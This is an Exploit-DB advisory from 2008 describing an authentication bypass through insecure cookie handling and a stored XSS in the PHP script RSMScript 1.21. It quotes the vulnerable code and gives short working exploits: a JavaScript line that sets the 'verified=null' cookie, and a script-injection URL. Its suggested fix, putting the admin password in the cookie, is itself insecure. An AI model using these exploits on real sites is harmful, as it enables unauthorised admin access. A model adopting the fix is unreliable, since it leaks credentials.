RSMScript 1.21 - Cross-Site Scripting / Insecure Cookie Handling

EDB-ID:

7497

Author:

Osirys

Type:

webapps

Platform:

PHP

Published:

2008-12-17

[START]

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[0x01] Informations:

Script         : RSMScript 1.21
Download       : http://www.hotscripts.com/jump.php?listing_id=78547&jump_type=1
Vulnerability  : Insecure Cookie Handling / XXS
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian
Greets:        : XaDoS, x0r, emgent, Jay, str0ke, Todd and AlpHaNiX

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[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/verify.php

[CODE]

if($admin_pass == $code)
{
  setcookie("verified", "null", time()+1800);
  header( 'refresh: 0; url=update.php' );
}

[/CODE]

As we can see, if the password "$code" typed is the same of $admin_pass, so you log in,
cookie is set with the name "verified" and with content "null". So, a malicious user
can just set up a cookie with that name and value, and then he will be logged as the 
admin.

[!] FIX: A fix could be to put as a content or cookie name the password. Example:

[CODE] setcookie("verified", "$admin_pass", time()+1800); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "verified=null; path=/";

#########################################################################################
[0x03] Bug: [XSS]
######

To exploit this bug, we must be logged in. Just bypass the login with the Cookie ;)
There are two bugged file.

1) /[path/submit.php
   In this file, we can put arbitrary data into a .txt file.

   [CODE]

    $quote = $_REQUEST['quote'];
    $writePage = fopen('quotes.txt', 'a') or die("can't open file");
	fwrite($writePage, "\t");
    fwrite($writePage, stripslashes($quote));
    fclose($writePage);

   [/CODE]

   [!] FIX: Just filter direct user input.


2) /path/update.php
   This file gets quotes.txt content, and print it directly into html code. 
   In 1) we saw that we can put arbitrary data into this .txt file. Just
   Put js code ;)

   [CODE]

    $quotes = file_get_contents("quotes.txt");
    $quotes= preg_split("/[\t]+/", $quotes);
    $i = 0;
    $noQuotes = sizeOf($quotes);
    while ($i < $noQuotes)
    {
        $quote = $quotes[$i];
        echo '<option value='.$i.'>'.$quote.'</option>';
        $i = $i + 1;
    }

    [/CODE]

    [!] FIX: A fix could be just to filter input before being printed in html code.


## How to exploit this bugs?

[!] EXPLOIT: /[path]/submit.php?quote=<script>alert("XSS")</script>

#########################################################################################
[/END]

# milw0rm.com [2008-12-17]